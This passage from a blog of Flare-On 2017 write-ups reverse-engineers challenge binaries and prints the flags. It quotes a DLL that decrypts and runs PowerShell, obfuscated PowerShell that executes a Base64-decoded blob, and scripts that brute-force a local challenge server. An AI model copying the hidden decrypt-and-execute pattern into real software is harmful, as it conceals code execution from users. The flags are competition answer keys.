using (MemoryStream memoryStream = new MemoryStream(cipherText))
{
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Read))
{
using (StreamReader streamReader = new StreamReader(cryptoStream))
{
result = streamReader.ReadToEnd();
}
}
}
}
return result;
}
public static int Smth(string arg)
{
using (PowerShell powerShell = PowerShell.Create())
{
try
{
byte[] cipherText = Convert.FromBase64String(arg);
string script = four.Decrypt2(cipherText, "soooooo_sorry_zis_is_not_ze_flag");
powerShell.AddScript(script);
Collection<PSObject> collection = powerShell.Invoke();
foreach (PSObject current in collection)
{
Console.WriteLine(current);
}
}
catch (Exception var_5_70)
{
Console.WriteLine("Exception received");
}
}
return 0;
}
}
}
</pre>
</br>
The DLL accepts a Base64 string, decodes it, AES decrypts it using the key <b>'soooooo_sorry_zis_is_not_ze_flag'</b> and runs the resultant PowerShell script. Let's try and extract the PS1 script from the binary.
</br></br>
At the beginning of function <b>sub_12523D0()</b>, a region in memory is Base64'd and then passed to flareon.dll after this has been loaded into memory. The following image shows the resultant base64 string pointed at by <b>EAX</b> right after it has been encoded:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNdh6QS4kG8c3AxuXSl0uFaJgiJULpYuEzItxjeMDusXE0MzkWYSTah_czXd-Ir9_OfGBXv6lVM4dEEIjnRGVCkfB9tcR-DFtFZ7HTFVQ1Zks_-PA6gpQNS1LaxlldKWCZ6uthJrl2Wnxs/s1600/flare4_7_4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiNdh6QS4kG8c3AxuXSl0uFaJgiJULpYuEzItxjeMDusXE0MzkWYSTah_czXd-Ir9_OfGBXv6lVM4dEEIjnRGVCkfB9tcR-DFtFZ7HTFVQ1Zks_-PA6gpQNS1LaxlldKWCZ6uthJrl2Wnxs/s650/flare4_7_4.png" data-original-width="713" data-original-height="763" /></a></div>
</br>
Extract the base64 string and create a C# program, based on the .NET flareon.dll, to recover the PS1 script:
</br></br>
<pre class="brush:csharp;">
[ ... snip ... ]
public static int Smth(string arg)
{
byte[] cipherText = Convert.FromBase64String(arg);
string script = Program.Decrypt2(cipherText, "soooooo_sorry_zis_is_not_ze_flag");
System.IO.StreamWriter file = new System.IO.StreamWriter("zsud.ps1");
file.WriteLine(script);
file.Close();
return 0;
}
public static void Main()
{
string base64encoded = "Sbogppc38m/yviiq2 … [snip] … AyyAEQ2IwZPNoPEzE=";
Smth(base64encoded);
Console.ReadKey();
}
[ ... snip ... ]
</pre>
</br>
The decrypted script can be viewed/downloaded <a href="https://github.com/GradiusX/vulnerable.space/blob/master/Flare-On2017/zsud.ps1"><span style="color: #cccccc;">here</span></a>. If we run the powershell script on its own, we get the same UI depicted in the first image above.
</br></br>
First thing to notice in the script is the string <b>'http://127.0.0.1:9999/some/thing.asp'</b> on line 814 which hints that the script communicates with a local web server embedded in the binary. This is confirmed by the following netstat result when <b>zsud.exe</b> is open:
</br></br>
<div class="console-top">
Command Prompt</div>
<div class="console" style="background: #000;">
C:\>netstat -antp tcp | findstr 9999
TCP 127.0.0.1:9999 0.0.0.0:0 LISTENING InHost
C:\>
</div>
</br>
</br>
Let's go back to the PS1 script and try to uncover what it's doing. The following is an excerpt of the important sections:
</br></br>
<pre class="brush:ps;">
[ ... snip ... ]
$key = New-Thing "a key" "You BANKbEPxukZfP2EikF8jN04 ... [snip] ... PtEVBhQ==" @("key")
[ ... snip ... ]
function Invoke-XformKey([String]$keytext, [String]$desc) {
$newdesc = $desc
Try {
$split = $desc.Split()
$text = $split[0..($split.Length-2)]
$encoded = $split[-1]
$encoded_urlsafe = $encoded.Replace('+', '-').Replace('/', '_').Replace('=', '%3D')
$uri = "${script:baseurl}?k=${keytext}&e=${encoded_urlsafe}"
$r = Invoke-WebRequest -UseBasicParsing "$uri"
$decoded = $r.Content
if ($decoded.ToLower() -NotContains "whale") {
$newdesc = "$text $decoded"
}
} Catch {
Add-ConsoleText "..."
}
return $newdesc
}
function Invoke-MoveDirection($char, $room, $direction, $trailing) {
$nextroom = $null
$movetext = "You can't go $direction."
$statechange_tristate = $null
$nextroom = Get-RoomAdjoining $room $direction
if ($nextroom -ne $null) {
$key = Get-ThingByKeyword $char 'key'
if (($key -ne $null) -and ($script:okaystopnow -eq $false)) {
$dir_short = ([String]$direction[0]).ToLower()
${N} = ${sC`Ri`Pt:MS`VcRt}::("{1}{0}" -f'nd','ra').Invoke() % 6
if ($directions_enum[$dir_short] -eq ($n)) {
$script:key_directions += $dir_short
$newdesc = Invoke-XformKey $script:key_directions $key.Desc
$key.Desc = $newdesc
if ($newdesc.Contains("@")) {
$nextroom = $script:map.StartingRoom
$script:okaystopnow = $true
}
$statechange_tristate = $true
} else {
$statechange_tristate = $false
}
}
$script:room = $nextroom
$movetext = "You go $($directions_short[$direction.ToLower()])"
if ($statechange_tristate -eq $true) {
$movetext += "`nThe key emanates some warmth..."
} elseif ($statechange_tristate -eq $false) {
$movetext += "`nHmm..."
}
if ($script:autolook -eq $true) {
$movetext += "`n$(Get-LookText $char $script:room $trailing)"
}
} else {
$movetext = "You can't go that way."
}
return "$movetext"
}
[ ... snip ... ]
$baseurl = 'http://127.0.0.1:9999/some/thing.asp'
$directions_enum = @{'n' = 0; 's' = 1; 'e' = 2; 'w' = 3; 'u' = 4; 'd' = 5}
[ ... snip ... ]
</pre>
</br></br>
The script does the following for each movement we perform in the game:
<ol>
<li style="color:#999999;">Calls Invoke-MoveDirection</li>
<li style="color:#999999;">Generates a random number between 0 and 5 (line 39)</li>
<li style="color:#999999;">Translates our move to a number (lines 27 & 77)</li>
<li style="color:#999999;">If these 2 numbers coincide, call Invoke-XformKey (line 43)</li>
<li style="color:#999999;">Sends the list of directions (k param) and url-encoded key description (e param) to local web server (lines 15 & 16)</li>
<li style="color:#999999;">If response does not contain 'whale', set it as the new key description (lines 18 & 19)</li>
<li style="color:#999999;">If response contains '@', warp to starting room and stop game (lines 45 - 47)</li>
</ol>
The last bullet point hints that if we send the correct GET request to the local web server, it should spit the e-mail address. Using parts of the PS1 script above, we create another PS1 script to try and bruteforce the first 25 directions expected by the server:
</br></br>
<pre class="brush:ps;">
iex ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String("U0VULWl0RW
[ ... snip ... ]
"Xl9LCAke2ZpRWxkVmFgTGB1YGVzfSAgKTsgIHJldHVybiAke2FgVFRyfTsgICB9")))
.("{0}{1}{2}"-f 'SEt-IT','E','M') VariaBLE:q21s
[ ... snip ...]
${T`ype`BU`IldEr}.("{2}{0}{1}"-f 'teTy','pe','Crea').Invoke(); }
[STring]::joIN( '', ('35h88w112_119}81r74r77h100J94<5
[ ... snip ...]
|%{[CHAR]($_ -BXoR 0x03 ) } ) )|.( $ShelliD[1]+$SheLLID[13]+'X')
$key = New-Thing "a key" "You BANKbEPxukZfP2EikF8jN04 ... [snip] ... PtEVBhQ==" @("key")
$baseurl = 'http://127.0.0.1:9999/some/thing.asp'
function Invoke-XformKey([String]$keytext, [String]$desc) {
$newdesc = $desc
Try {
$split = $desc.Split()
$text = $split[0..($split.Length-2)]
$encoded = $split[-1]
$encoded_urlsafe = $encoded.Replace('+', '-').Replace('/', '_').Replace('=', '%3D')
$uri = "${script:baseurl}?k=${keytext}&e=${encoded_urlsafe}"
$r = Invoke-WebRequest -UseBasicParsing "$uri"
$decoded = $r.Content
# If response is different than previous one, set as new description
if ($decoded.ToLower() -ne $encoded.ToLower()) {
$newdesc = "$text $decoded"
return $newdesc
}
} Catch {}
}
$directions_enum = @{0 = "n"; 1 = "s"; 2 = "e"; 3 = "w"; 4="u"; 5 = "d"}
$cumulativekey = ""
for ($i=0; $i -lt 25; $i++){
for ($j=0; $j -lt 6; $j++){
$testingchar = $directions_enum[$j]
if ($newkey = Invoke-XformKey $cumulativekey$testingchar $key){
$key = $newkey
$cumulativekey += $testingchar
break
}
}
}
echo "Directions: $cumulativekey"
echo "Key: $key"
</pre>
</br>
Running the script:
</br></br>
<div class="console-top">
Command Prompt</div>
<div class="console" style="background: #000;">
C:\>powershell -file bruteforcer.ps1
Directions: wnneesssnewne
Key: You can start to make out some words but you need to follow the ZipRg2+UxcDPJ8T
iemKk7Z9bUOfPf7VOOalFAepISztHQNEpU4kza+IMPAh84PlNxwYEQ1IODlkrwNXbGXcx/Q==
C:\>
</div>
</br></br>
We notice 3 important things when we run the script:
<ol>
<li style="color:#999999;">The key is incompletely decoded</li>
<li style="color:#999999;">Only the first 13 direction attempts out of the 25 were executed</li>
<li style="color:#999999;">Multiple runs produce the same output even though the expected input is decided by rand()</li>
</ol>
The first 2 happen because the server is bruteforce resistant and is expecting the right directions to spit out the answer. The 3rd bullet point is answered by looking at lines 431 - 433 of the extracted PS1 script:
</br></br>
<pre class="brush:ps;">
if (($thing.Keywords -Contains "key") -and ($container_new -eq $script:char)){
${Msv`c`RT}::("{1}{0}"-f 'rand','s').Invoke(42)
}
</pre>
</br>
When we pick up the 'key' in the game, srand(42) is executed, which explains why the rand() function always produces the same result and hence the server always expects the same directions. If we factor in the srand(42) though we notice that the output of 'rand() % 6' still does not match <b>'wnneesssnewne'</b>, which has been proven to be right else we would've never decoded parts of the key.
</br></br>
During the challenge it took me ages to realise the trick: both the rand() and srand() function are hooked in the binary and replaced with a custom implementation! This happens in function <b>sub_1336530()</b>:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQPOvetyD_TipFHtfUe3IOwYqmOKyOOLhsgxuD_iiG54BzZXFGbGxCYkIfm8iUlBHor-XKQHMKnhdg15u-BXnDlRXgdM50LH7Ht0rxDZ2byCY8u-9ojOq2vaf_2lGOugfWZwVel9BIZzok/s1600/flare4_7_5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQPOvetyD_TipFHtfUe3IOwYqmOKyOOLhsgxuD_iiG54BzZXFGbGxCYkIfm8iUlBHor-XKQHMKnhdg15u-BXnDlRXgdM50LH7Ht0rxDZ2byCY8u-9ojOq2vaf_2lGOugfWZwVel9BIZzok/s450/flare4_7_5.png" data-original-width="471" data-original-height="264" /></a></div>
</br>
In the image we can see that the pointer to the real rand() is being hooked by new_rand() whilst srand() is being hooked by new_srand(). Let's take a look at both of these new functions. The following is the new_srand():
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_tQ6HpD_jXR7Vt6N_18cizrFW1qMljxS1bwiouY8fkKOX3SzhNubtnJpvWBWhQbv0YKBSaIJyoADsZGXL54PUTeK0CUF3jy5AFvYHmcv-HywsmJR3o4JSIyzDHSrqnCUSNrYThv3Rgwkh/s1600/flare4_7_6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_tQ6HpD_jXR7Vt6N_18cizrFW1qMljxS1bwiouY8fkKOX3SzhNubtnJpvWBWhQbv0YKBSaIJyoADsZGXL54PUTeK0CUF3jy5AFvYHmcv-HywsmJR3o4JSIyzDHSrqnCUSNrYThv3Rgwkh/s350/flare4_7_6.png" data-original-width="317" data-original-height="299" /></a></div>
</br>
Recall that srand() is called from the PS1 when we collect the key. When this happens, it sets the global variable <b>dword_138BD28</b> to 1, as displayed in the image above.
</br></br>
Let us take a look at the new implementation of rand(), i.e. new_rand():
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEia0hvHAPimzzTB3RPsTxmu8wXE10PbHkN7ftrZi2PXUrdir4cp4p5CD2CsKrut9KHd9jKRLXxLGSH7VYISCaMMToWJzjoa5LS66JQstXynzQC_df9kbptNq1_bkGVSbna3Ci-hToDVxil7/s1600/flare4_7_7.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEia0hvHAPimzzTB3RPsTxmu8wXE10PbHkN7ftrZi2PXUrdir4cp4p5CD2CsKrut9KHd9jKRLXxLGSH7VYISCaMMToWJzjoa5LS66JQstXynzQC_df9kbptNq1_bkGVSbna3Ci-hToDVxil7/s550/flare4_7_7.png" data-original-width="668" data-original-height="453" /></a></div>
</br>
If the global variable <b>dword_138BD28</b> has been set to 1, i.e. new_srand() has been called, then it will end up in the green basic block which takes the expected direction from the array <b>dword_1389CB8</b>. This is NOT random at all!
</br></br>
Let's create a python script to extract all the expected directions:
</br></br>
<pre class="brush:python;">
import sys
directions_enum = {0:"n", 1:"s", 2 : "e", 3 : "w", 4:"u", 5 : "d"}
dword_1389CB8 = [0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x02,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00]
dword_138BD24 = 0
for x in range(200):
result = dword_1389CB8[dword_138BD24 * 4]
dword_138BD24 = (dword_138BD24 + 1) % 0x35
sys.stdout.write(directions_enum[result])
</pre>
</br>
Running the script:
</br></br>
<div class="console-top">
Command Prompt</div>
<div class="console" style="background: #000;">
C:\>python direction_extractor.py
wnneesssnewneewwwdundundunsuneunsewdunsewsewsewsewdunwnneesssnewneewwwdundundun
suneunsewdunsewsewsewsewdunwnneesssnewneewwwdundundunsuneunsewdunsewsewsewsewdu
nwnneesssnewneewwwdundundunsuneunsewdunsew
C:\>
</div>
</br></br>
Sw33t! Let's modify the PS1 script now to specifically send these rather than trying to bruteforce our way:
</br></br>
<pre class="brush:ps;">
[ ... snip ... ]
$solutions = "wnneesssnewneewwwdundundunsuneunsewdunsewsewsewsewdunwnneesssnewneewwwdundundunsuneunsewdunsewsewse"
for ($j=1; $j -lt 54; $j++){
$tempSolution = $solutions.substring(0,$j)
if ($newkey = Invoke-XformKey $tempSolution $key){
$key = $newkey
}
}
echo "Directions: $cumulativekey"
echo "Key: $key"
</pre>
</br>
And this time:
</br></br>
<div class="console-top">
Command Prompt</div>
<div class="console" style="background: #000;">
C:\>powershell -file send_right_directions.ps1
Directions: wnneesssnewneewwwdundundunsuneunsewdunsewsewsewsewdun
Key: You can start to make out some words but you need to follow the
RIGHT_PATH!@66696e646b6576696e6d616e6469610d0a
C:\>
</div>
</br></br>
Not exactly what we want by close enough. The long hex string at the end translated to <b>'findkevinmandia'</b>. So let's go and find Kev ... nahh, let's extract the logic directly from the script.
</br></br>
The decrypter to this output can be found in the original PS1 file on lines 463 - 477 which are invoked when we talk to Kevin Mandia whilst wearing a helmet and the key is dropped in the room. Extracting the logic from the script and putting our response from the server we end up with the following script:
</br></br>
<pre class="brush:ps;">
$key = "You can start to make out some words but you need to follow the RIGHT_PATH!@66696e646b6576696e6d616e6469610d0a"
$md5 = New-Object System.Security.Cryptography.MD5CryptoServiceProvider
$utf8 = New-Object System.Text.UTF8Encoding
$hash = [System.BitConverter]::ToString($md5.ComputeHash($utf8.GetBytes($key)))
$Data = [System.Convert]::FromBase64String("EQ/Mv3f/1XzW4FO8N55+DIOkeWuM70Bzln7Knumospan")
$Key = [System.Text.Encoding]::ASCII.GetBytes($hash)
# Adapated from the gist by harmj0y et al
$R={$D,$K=$Args;$H=$I=$J=0;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Length])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}}
$x = (& $r $data $key | ForEach-Object { "{0:X2}" -f $_ }) -join ' '
$resp = "`nKevin says, with a nod and a wink: '$x'."
$resp += "`n`nBet you didn't know he could speak hexadecimal! :-)"
echo $resp
</pre>
</br>
The output:
</br></br>
<div class="console-top">
Command Prompt</div>
<div class="console" style="background: #000;">
C:\>powershell -file kevin_mandia.ps1
Kevin says, with a nod and a wink: '6D 75 64 64 31 6E 67 5F 62 79 5F
79 30 75 72 35 33 6C 70 68 40 66 6C 61 72 65 2D 6F 6E 2E 63 6F 6D'.
Bet you didn't know he could speak hexadecimal! :-)
C:\>
</div>
</br></br>
Converting the hex to ascii: <b>mudd1ng_by_y0ur53lph@flare-on.com</b>
</span>
</div>GradiusXhttp://www.blogger.com/profile/15877381593569432773noreply@blogger.com0tag:blogger.com,1999:blog-892957492981532265.post-68879388001290866112017-10-23T16:57:00.000-07:002017-10-23T16:57:54.322-07:00CTF Writeup - Flare-On 2017 - 06: payload.dll<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="color: #999999;">
</br>
<ul>
<li><b style="color:#cccccc;">Name -</b> <span style="color: #999999;"> payload.dll</span>
<li><b style="color:#cccccc;">Category -</b> <span style="color: #999999;">Reverse Engineering</span>
<li><b style="color:#cccccc;">Points -</b><span style="color: #999999;"> 1</span>
<li><b style="color:#cccccc;">Binary -</b><span style="color: #999999;"> Download <a href="https://github.com/GradiusX/vulnerable.space/blob/master/Flare-On2017/payload.dll?raw=true"><span style="color: #cccccc;">here</span></a></span>
</ul>
</br>
The next challenge on the list is a 64-bit windows DLL. We create a small 64-bit program that loads the DLL and calls the only exported function by its ordinal number:
</br></br>
<pre class="brush:cpp;">
#include <windows.h>
#include <stdio.h>
int main(int argc, char* argv[])
{
FARPROC func;
HINSTANCE dllHandle = LoadLibraryA("payload.dll");
if (dllHandle == NULL)
return 0;
printf("Loading payload.dll\n");
func = GetProcAddress(dllHandle, 1);
func();
printf("Press Any Key to Continue\n");
getchar();
return 0;
}
</pre>
</br>
Running the binary we get the following message box:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjasMfLrPMhOCOYtIv1ez2nROqXRl3Xhh0CR8ICVvzzYhqhyphenhypheny7rPKM1dBQRq5rTzRBuHClvJj8qI5yiGc3jy90cHRN5up5QYFqGccQunJhZz8eCdtEeeVK0q8ZBD5YUUCzOUntlizIId8TM/s1600/flare4_6_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjasMfLrPMhOCOYtIv1ez2nROqXRl3Xhh0CR8ICVvzzYhqhyphenhypheny7rPKM1dBQRq5rTzRBuHClvJj8qI5yiGc3jy90cHRN5up5QYFqGccQunJhZz8eCdtEeeVK0q8ZBD5YUUCzOUntlizIId8TM/s300/flare4_6_1.png" data-original-width="210" data-original-height="126" /></a></div>
</br>
Interesting. It tells us to insert a clever message, yet the exported function doesn't accept any parameters. Let's take a look at function <b>sub_7FEFAB95A50()</b> which has an xref to this message:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc4TjgH9pXjfwpFRg7VXVpp346RcJO3T3xBrnx0PAEdkeAGTrRfNEporvtP87l1cJNZmKmq-JrKa6oIDHjb31HHJkSBsZaBimX99aG0S3a9zpOZQpLzxxNDmeedP51LpGPMsOsl8dEEGRz/s1600/flare4_6_2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjc4TjgH9pXjfwpFRg7VXVpp346RcJO3T3xBrnx0PAEdkeAGTrRfNEporvtP87l1cJNZmKmq-JrKa6oIDHjb31HHJkSBsZaBimX99aG0S3a9zpOZQpLzxxNDmeedP51LpGPMsOsl8dEEGRz/s700/flare4_6_2.png" data-original-width="1101" data-original-height="958" /></a></div>
</br>
If we put a break point on the <b>JNZ</b> instruction in the basic block at the top and manually alter the execution flow to the yellow basic blocks by flipping the Zero Flag, we reveal a single character from the key:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgg_Ot8B5OAKxYOc7nI83o7HlMYCuZPs26MdA7d51ctEU7VPqOYIWrlWUlbYEX7URKWZwrzwU_wHNpW_zSFWQMZhtrAR2DG-vA3Z9HB3ArPR6psLDEcNIbOo7jNNSD1F0YFt1Z9MrNyeuOL/s1600/flare4_6_3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgg_Ot8B5OAKxYOc7nI83o7HlMYCuZPs26MdA7d51ctEU7VPqOYIWrlWUlbYEX7URKWZwrzwU_wHNpW_zSFWQMZhtrAR2DG-vA3Z9HB3ArPR6psLDEcNIbOo7jNNSD1F0YFt1Z9MrNyeuOL/s300/flare4_6_3.png" data-original-width="128" data-original-height="126" /></a></div>
</br>
As already annotated in the previous image, the yellow basic blocks set a region as RWX, decrypt the memory region with key <b> orphanedirreproducibleconfidences</b> and call it to reveal a single of the character of the key.
</br></br>
The question now is, how do we force the DLL into revealing the other characters of the key when it doesn't accept any input? The answer lies in function <b>sub_7FEFAA24710()</b>:
</br></br>
<pre class="brush:cpp;">
__int64 sub_7FEFAA24710()
{
struct _SYSTEMTIME SystemTime; // [rsp+20h] [rbp-28h]
GetSystemTime(&SystemTime);
return (unsigned int)((SystemTime.wYear + SystemTime.wMonth) % 26);
}
</pre>
</br>
If this function returns 0x19 (25), as it does in this case, it will use the 25th key to decrypt the 25th region and reveals the 25th character of the key. Manually setting the output of this function between 0 and 13, and manually forcing the execution to the yellow blocks as we have done before, we reveal the first 14 characters:
</br></br>
<ul>
<li style="color:#999999;">key[0] = 0x77</li>
<li style="color:#999999;">key[1] = 0x75</li>
<li style="color:#999999;">key[2] = 0x75</li>
<li style="color:#999999;">key[3] = 0x75</li>
<li style="color:#999999;">key[4] = 0x74</li>
<li style="color:#999999;">key[5] = 0x2d</li>
<li style="color:#999999;">key[6] = 0x65</li>
<li style="color:#999999;">key[7] = 0x78</li>
<li style="color:#999999;">key[8] = 0x79</li>
<li style="color:#999999;">key[9] = 0x30</li>
<li style="color:#999999;">key[10] = 0x72</li>
<li style="color:#999999;">key[11] = 0x74</li>
<li style="color:#999999;">key[12] = 0x73</li>
<li style="color:#999999;">key[13] = 0x40</li>
</ul>
</br>
As we reach the <b>'@'</b> character we can stop since we know that the email has to end with <b>@flare-on.com</b>.
</br></br>
The final key is therefore <b>wuuut-exp0rts@flare-on.com</b>.
</span>
</div>GradiusXhttp://www.blogger.com/profile/15877381593569432773noreply@blogger.com0tag:blogger.com,1999:blog-892957492981532265.post-84356191996381146292017-10-23T16:46:00.002-07:002017-10-23T16:57:54.326-07:00CTF Writeup - Flare-On 2017 - 05: pewpewboat.exe<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="color: #999999;">
</br>
<ul>
<li><b style="color:#cccccc;">Name -</b> <span style="color: #999999;"> pewpewboat.exe</span>
<li><b style="color:#cccccc;">Category -</b> <span style="color: #999999;">Reverse Engineering</span>
<li><b style="color:#cccccc;">Points -</b><span style="color: #999999;"> 1</span>
<li><b style="color:#cccccc;">Binary -</b><span style="color: #999999;"> Download <a href="https://github.com/GradiusX/vulnerable.space/blob/master/Flare-On2017/pewpewboat.exe?raw=true"><span style="color: #cccccc;">here</span></a></span>
</ul>
</br>
The challenge is a 64-bit ELF binary, despite it's file extension. Launching it we get a Battleship game!
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsp-Ttp7b5-_G28ai4Y9n584YGQT5DIMgADFiMZ2a1iPqcLEhZ1mKmU0IgnQLYNmn2Vf5vq9EpBpY7fR4KJJ8ySYz0UdM_Ye49ZtluBo_BTxpohoywdxbUykVPM5V7GT7H12EY9elodz6r/s1600/flareon4_5_1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsp-Ttp7b5-_G28ai4Y9n584YGQT5DIMgADFiMZ2a1iPqcLEhZ1mKmU0IgnQLYNmn2Vf5vq9EpBpY7fR4KJJ8ySYz0UdM_Ye49ZtluBo_BTxpohoywdxbUykVPM5V7GT7H12EY9elodz6r/s600/flareon4_5_1.png" data-original-width="737" data-original-height="363" /></a></div>
</br>
The goal is to beat the game by sinking all the ships, which we have no visibility of, in each level by inputting coordinate values. Completing the first level we are greeted with:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmRJ8WFGXpVOmAHBIQXPuwFnKG41vGpIsReu2zWslprDOBf-Cd3oAvfBJJPayM_WB0-UQKD9XAoiTewYn2jcVSWzk-PyDJvHip1rLbfLfIHdnicyKmo8e8fRrdlKuDDbgeD96E176iU5MO/s1600/flareon4_5_3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmRJ8WFGXpVOmAHBIQXPuwFnKG41vGpIsReu2zWslprDOBf-Cd3oAvfBJJPayM_WB0-UQKD9XAoiTewYn2jcVSWzk-PyDJvHip1rLbfLfIHdnicyKmo8e8fRrdlKuDDbgeD96E176iU5MO/s600/flareon4_5_3.png" data-original-width="754" data-original-height="381" /></a></div>
</br>
Note that the solution spells out the letter <b>'F'</b>! We try to input the Md5 hash of the 4-char string to no avail. At this point we're not sure what's meant by NotMD5Hash so let's look at the binary under IDA. The <b>main()</b> function starts by loading some stack strings and initializes some stuff for the game; it then goes into a main loop which has 2 important functions (green basic block): <b>sub_403047()</b> which sets up the next level and <b>sub_403C05()</b> where we get to actually play the level:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBwE_d05O1vEvObfKWEAb0eVGVa-89t70WG1ggDHRc0-gKPXaZlhMx4UbzRE7KcFj4gX_IsITz14KMfzf4RgIwgA93_0LHkrmQatakF1pnnrmXXj2IsSbXJ1le0ddBkkSC3RPTbqaRKfl2/s1600/flareon4_5_2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBwE_d05O1vEvObfKWEAb0eVGVa-89t70WG1ggDHRc0-gKPXaZlhMx4UbzRE7KcFj4gX_IsITz14KMfzf4RgIwgA93_0LHkrmQatakF1pnnrmXXj2IsSbXJ1le0ddBkkSC3RPTbqaRKfl2/s600/flareon4_5_2.png" data-original-width="771" data-original-height="712" /></a></div>
</br>
The function <b>sub_403C05()</b> further contains another loop which iterates for each coordinate we supply:
</br></br>
<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5FFUPDGEEQALFR7Lwlrph5Asd6goPrWpWU_g1WZCdVxzSqUPcAjMQBWasQT7Roh7FxojQWzN5pCb_fuNxhi402pwNMwpvyl1e_xmv8c_5AFn-auPmWeLJ9M1ATWUiCYjS2c9gQMKz8WCR/s1600/flareon4_5_4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5FFUPDGEEQALFR7Lwlrph5Asd6goPrWpWU_g1WZCdVxzSqUPcAjMQBWasQT7Roh7FxojQWzN5pCb_fuNxhi402pwNMwpvyl1e_xmv8c_5AFn-auPmWeLJ9M1ATWUiCYjS2c9gQMKz8WCR/s650/flareon4_5_4.png" data-original-width="822" data-original-height="562" /></a></div>
</br>
Each time we input a coordinate, the loop displayed above does the following:
<ol>
<li style="color:#999999;">Sets up the curses text-based user interface (<b>sub_4031E1</b>)</li>
<li style="color:#999999;">Displays the grid (<b>sub_403263</b>)</li>
<li style="color:#999999;">Processes the coordinate to determine if we've hit a ship or not, checks if we have completed the level and displays the appropriate messages (<b>sub_4038D6</b>)</li>
<li style="color:#999999;">Asks the user to input the next coordinate (<b>sub_40377D</b>)</li>
</ol>
